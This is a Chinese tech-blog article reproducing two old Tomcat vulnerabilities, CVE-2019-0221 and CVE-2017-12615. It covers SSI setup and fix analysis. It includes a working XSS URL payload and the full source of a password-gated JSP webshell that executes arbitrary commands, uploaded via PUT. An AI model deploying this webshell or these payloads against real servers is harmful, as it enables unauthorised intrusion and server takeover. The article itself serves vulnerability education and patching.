百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

我成功攻击了Tomcat服务器,大佬们的反应亮了

nanshan 2024-11-24 19:36 10 浏览 0 评论

Tomcat是一个开源的轻量级Web应用服务器,在我们平常工作过程中接触得非常多。代码也非常经典,很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的:世界上本没有漏洞,使用的人多了,也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。

今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程,以及漏洞为什么会产生,Tomcat大神们又是如何应对的。

【攻击一:XSS攻击】

一、SSI技术说明

首先演示的漏洞和Tomcat的SSI功能有关,SSI是什么

SSI技术,也叫作Serve Side Includes,SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml;

举例:我们可以将指令放置到现有的HTML页面中,例如:

!--#echo var="DATE_LOCAL" -->

当该页面被执行时,将会显示如下结果

Sunday, 22-March-2020 18:28:54 GMT

SSI最常见的用途之一:输出CGI程序的结果,例如``命中计数器''。关于该技术更为详细的说明参见:http://httpd.apache.org/docs/current/howto/ssi.html

二、为Tomcat开启SSI

  1. 准备好JRE、tomcat环境,我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
  2. 修改conf/context.xml第19行,开启权限
<Context privileged="true">
  1. 修改conf\web.xml,开启SSI Servlet。该段代码默认是被注释掉的,我们删除注释即可,代码在310-322行。
<servlet>
        <servlet-name>ssi</servlet-name>
        <servlet-class>
          org.apache.catalina.ssi.SSIServlet
        </servlet-class>
        <init-param>
          <param-name>buffered</param-name>
          <param-value>1</param-value>
        </init-param>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>expires</param-name>
          <param-value>666</param-value>
        </init-param>
        <init-param>
          <param-name>isVirtualWebappRelative</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>4</load-on-startup>
    </servlet>

去掉关于ssi配置的注释 422-425行

  <servlet-mapping>
        <servlet-name>ssi</servlet-name>
        <url-pattern>*.shtml</url-pattern>
    </servlet-mapping>
  1. 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件,位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
  1. 启动Tomcat即可

三、发起攻击

  1. 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2. XSS注入

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

攻击成功,页面展示如下。

通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序,攻击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

四、源码分析

漏洞产生后,Tomcat大神们迅速修复了该漏洞,我们从Github上找到当时的代码修复提交记录:点击查看commit

说真的,当时看到这段修复代码我是惊呆了,这是什么骚操作!!!“entity”又是什么鬼!!!

于是接下往下翻代码:

这个地方将我们输入的变量值直接输出到了网页,很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件,路径org.apache.catalina.ssi. SSIMediator

这样我们一下子就明白过来了,当发现是“entity”编码,会将输入的内容进行Escape,从而避免了XSS。估计大神们当时也是紧急出了个hotfix版本,直接把参数写死成“entity”。还有作为Web服务器,大神们竟然也会犯这么低级别的错误,所以这也解释了为什么不存在0Bug的系统,哈哈!去翻看最新的SSIPrintenv.java文件,已经把“entity”定义成常量了,这才专业嘛!

【攻击二:远程代码执行】

接下来再简单演示下远程代码执行漏洞,该漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 Webshell,并控制服务器。

  1. 通过put方式上传文件,请求进行中时进行拦截:
  2. 生成恶意文件,取名叫jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
  1. 远程上传成功,接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
  2. 整个代码也是比较简单的,可以翻看JspServlet.java,这里就不做演示了。
    说明:该漏洞影响范围非常广,从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。

结语

兴趣是最好的老师,我们通过去看大佬们掉过的坑,写过的代码,站在巨人的肩膀人可以更快速地提升自己。

有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞:http://tomcat.apache.org/security-9.html本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。

作者:码大叔

来源:https://www.cnblogs.com/madashu/p/12550149.html

相关推荐

服务器数据恢复—Raid5数据灾难不用愁,Raid5数据恢复原理了解下

Raid5数据恢复算法原理:分布式奇偶校验的独立磁盘结构(被称之为raid5)的数据恢复有一个“奇偶校验”的概念。可以简单的理解为二进制运算中的“异或运算”,通常使用的标识是xor。运算规则:若二者值...

服务器数据恢复—多次异常断电导致服务器raid不可用的数据恢复

服务器数据恢复环境&故障:由于机房多次断电导致一台服务器中raid阵列信息丢失。该阵列中存放的是文档,上层安装的是Windowsserver操作系统,没有配置ups。因为服务器异常断电重启后,rai...

服务器数据恢复-V7000存储更换磁盘数据同步失败的数据恢复案例

服务器数据恢复环境:P740+AIX+Sybase+V7000存储,存储阵列柜上共12块SAS机械硬盘(其中一块为热备盘)。服务器故障:存储阵列柜中有磁盘出现故障,工作人员发现后更换磁盘,新更换的磁盘...

「服务器数据恢复」重装系统导致XFS文件系统分区丢失的数据恢复

服务器数据恢复环境:DellPowerVault系列磁盘柜;用RAID卡创建的一组RAID5;分配一个LUN。服务器故障:在Linux系统层面对LUN进行分区,划分sdc1和sdc2两个分区。将sd...

服务器数据恢复-ESXi虚拟机被误删的数据恢复案例

服务器数据恢复环境:一台服务器安装的ESXi虚拟化系统,该虚拟化系统连接了多个LUN,其中一个LUN上运行了数台虚拟机,虚拟机安装WindowsServer操作系统。服务器故障&分析:管理员因误操作...

「服务器数据恢复」Raid5阵列两块硬盘亮黄灯掉线的数据恢复案例

服务器数据恢复环境:HPStorageWorks某型号存储;虚拟化平台为vmwareexsi;10块磁盘组成raid5(有1块热备盘)。服务器故障:raid5阵列中两块硬盘指示灯变黄掉线,无法读取...

服务器数据恢复—基于oracle数据库的SAP数据恢复案例

服务器存储数据恢复环境:某品牌服务器存储中有一组由6块SAS硬盘组建的RAID5阵列,其中有1块硬盘作为热备盘使用。上层划分若干lun,存放Oracle数据库数据。服务器存储故障&分析:该RAID5阵...

「服务器虚拟化数据恢复」Xen Server环境下数据库数据恢复案例

服务器虚拟化数据恢复环境:Dell某型号服务器;数块STAT硬盘通过raid卡组建的RAID10;XenServer服务器虚拟化系统;故障虚拟机操作系统:WindowsServer,部署Web服务...

服务器数据恢复—RAID故障导致oracle无法启动的数据恢复案例

服务器数据恢复环境:某品牌服务器中有一组由4块SAS磁盘做的RAID5磁盘阵列。该服务器操作系统为windowsserver,运行了一个单节点Oracle,数据存储为文件系统,无归档。该oracle...

服务器数据恢复—服务器磁盘阵列常见故障表现&amp;解决方案

RAID(磁盘阵列)是一种将多块物理硬盘整合成一个虚拟存储的技术,raid模块相当于一个存储管理的中间层,上层接收并执行操作系统及文件系统的数据读写指令,下层管理数据在各个物理硬盘上的存储及读写。相对...

「服务器数据恢复」IBM某型号服务器RAID5磁盘阵列数据恢复案例

服务器数据恢复环境:IBM某型号服务器;5块SAS硬盘组成RAID5磁盘阵列;存储划分为1个LUN和3个分区:第一个分区存放windowsserver系统,第二个分区存放SQLServer数据库,...

服务器数据恢复—Zfs文件系统下误删除文件如何恢复数据?

服务器故障:一台zfs文件系统服务器,管理员误操作删除服务器上的数据。服务器数据恢复过程:1、将故障服务器所有磁盘编号后取出,硬件工程师检测所有硬盘后没有发现有磁盘存在硬件故障。以只读方式将全部磁盘做...

服务器数据恢复—Linux+raid5服务器数据恢复案例

服务器数据恢复环境:某品牌linux操作系统服务器,服务器中有4块SAS接口硬盘组建一组raid5阵列。服务器中存放的数据有数据库、办公文档、代码文件等。服务器故障&检测:服务器在运行过程中突然瘫痪,...

服务器数据恢复—Sql Server数据库数据恢复案例

服务器数据恢复环境:一台安装windowsserver操作系统的服务器。一组由8块硬盘组建的RAID5,划分LUN供这台服务器使用。在windows服务器内装有SqlServer数据库。存储空间LU...

服务器数据恢复—阿里云ECS网站服务器数据恢复案例

云服务器数据恢复环境:阿里云ECS网站服务器,linux操作系统+mysql数据库。云服务器故障:在执行数据库版本更新测试时,在生产库误执行了本来应该在测试库执行的sql脚本,导致生产库部分表被tru...

取消回复欢迎 发表评论: